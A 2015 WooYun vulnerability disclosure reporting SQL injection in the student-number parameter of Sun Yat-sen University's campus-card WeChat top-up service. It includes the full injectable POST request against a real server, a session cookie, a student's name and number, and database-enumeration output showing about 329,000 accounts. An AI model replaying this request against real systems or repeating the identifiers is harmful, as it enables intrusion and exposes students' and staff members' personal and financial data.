当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0105444

漏洞标题：中山大学校园卡微信扫一扫SQL注射，泄露大量学生教职工信息、余额

相关厂商：中山大学

漏洞作者： XINE

提交时间：2015-04-03 16:15

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-03： 细节已通知厂商并且等待厂商处理中
2015-04-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

参数stu_num有注入

POST /Charge/GetCharge HTTP/1.1
Host: 202.116.65.251
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12D508 MicroMessenger/6.1.4 NetType/WIFI
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://202.116.65.251/Charge/CardCharge/?showwxpaytitle=1&code=03102f1414631e258f35a2e70974a94F&state=1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: keep-alive
Cookie: ASP.NET_SessionId=vfjkfqiwztlhg11faosufrg1
Proxy-Connection: keep-alive
Content-Length: 124
Origin: http://202.116.65.251
Accept-Encoding: gzip, deflate
user=%E6%9E%97%E5%BF%97%E6%98%8E&stu_num=033911035&money=100+%E5%85%83&FromSno=&FromName=&tmpId=oF2CkjuMqKbzdJXwBWRxAnjuffyw


web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
available databases [13]:
[*] DBSNMP
[*] EQU
[*] FEE
[*] OUTLN
[*] SCHOOL
[*] SCHOOLING
[*] SPORTS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] YWQ


泄露32w账户，具体数据没有跑了。

select count(*) from ACCOUNT:    '329153'

漏洞证明：

参数stu_num有注入

POST /Charge/GetCharge HTTP/1.1
Host: 202.116.65.251
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12D508 MicroMessenger/6.1.4 NetType/WIFI
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://202.116.65.251/Charge/CardCharge/?showwxpaytitle=1&code=03102f1414631e258f35a2e70974a94F&state=1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: keep-alive
Cookie: ASP.NET_SessionId=vfjkfqiwztlhg11faosufrg1
Proxy-Connection: keep-alive
Content-Length: 124
Origin: http://202.116.65.251
Accept-Encoding: gzip, deflate
user=%E6%9E%97%E5%BF%97%E6%98%8E&stu_num=033911035&money=100+%E5%85%83&FromSno=&FromName=&tmpId=oF2CkjuMqKbzdJXwBWRxAnjuffyw


web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
available databases [13]:
[*] DBSNMP
[*] EQU
[*] FEE
[*] OUTLN
[*] SCHOOL
[*] SCHOOLING
[*] SPORTS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] YWQ


泄露32w账户，具体数据没有跑了。

select count(*) from ACCOUNT:    '329153'

修复方案：

过滤

版权声明：转载请注明来源 XINE@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-13 16:58

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论